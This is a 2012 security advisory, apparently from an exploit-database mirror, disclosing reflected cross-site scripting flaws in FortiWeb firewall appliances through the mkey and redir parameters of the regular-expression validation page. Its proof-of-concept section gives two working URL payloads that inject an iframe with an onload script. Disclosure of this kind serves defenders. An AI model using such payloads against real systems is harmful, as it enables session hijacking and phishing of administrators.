FortiWeb 4kC / 3kC / 1kC / VA Cross Site Scripting

2012-10-31T00:00:00
ID 1337DAY-ID-19872
Type zdt
Reporter n/a
Modified 2012-10-31T00:00:00

Description

FortiWeb 4kC, 3kC, 1kC, and VA suffer from multiple cross site scripting vulnerabilities.

                                        
                                            FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities

Introduction:
=============
FortiWeb web application firewalls protect, balance, and accelerate your web applications, databases, and any 
information exchanged between them. Whether you are protecting applications delivered over a large enterprise, 
service provider, or cloud-based provider network, FortiWeb appliances will reduce deployment time and 
simplify security management. Fortinet s FortiWeb™ has passed ICSA Web Application Firewall Certification. 
The latest model being tested is FortiWeb 1000C. ICSA Labs certifications are evidence of FortiWeb s commitment 
to uphold the industry s highest security standards. Achieving this certification ensures that FortiWeb™ customers 
benefit from best practices in the security industry for all their Web application needs.

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortiweb/ )



Multiple cross site scripting vulnerabilities in 
Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.

Affected Products:
==================
Fortinet
Product: FortiWeb Application Series v4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance

Details:
========
A non persistent cross site scripting vulnerability is detected in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with low or medium required user inter action 
and without local privileged application user account. The vulnerability is located in the Regular Expression - Validation (pcre_expression/validate) 
module with the bound vulnerable redir and mkey parameters. Successful exploitation results in client side account steal, client side phishing & 
client-side appliance module context request manipulation.


Vulnerable Module(s):
        [+] Regular Expression - Validation Module (pcre_expression/validate)

Vulnerable Parameter(s):
        [+] redir
        [+] mkey


Proof of Concept:
=================
The client side cross site scripting vulnerability can be exploited by remote attackers without application user account and 
with medium required user interaction. For demonstration or reproduce ...

Code Review: Regular Expression - Validation Module (mkey & redir)

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close(); 
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22" 
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>

... or

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close(); 
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22" 
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>



PoC:
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0


Solution:
=========
The vulnerability can be patched by parsing all mkey and redir success parameter requests of the vulnerable Regular Expression - Validation module.

2012-11-11:  Vendor Fix/Patch


Risk:
=====
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+)|(-)medium.

#  0day.today [2018-04-03]  #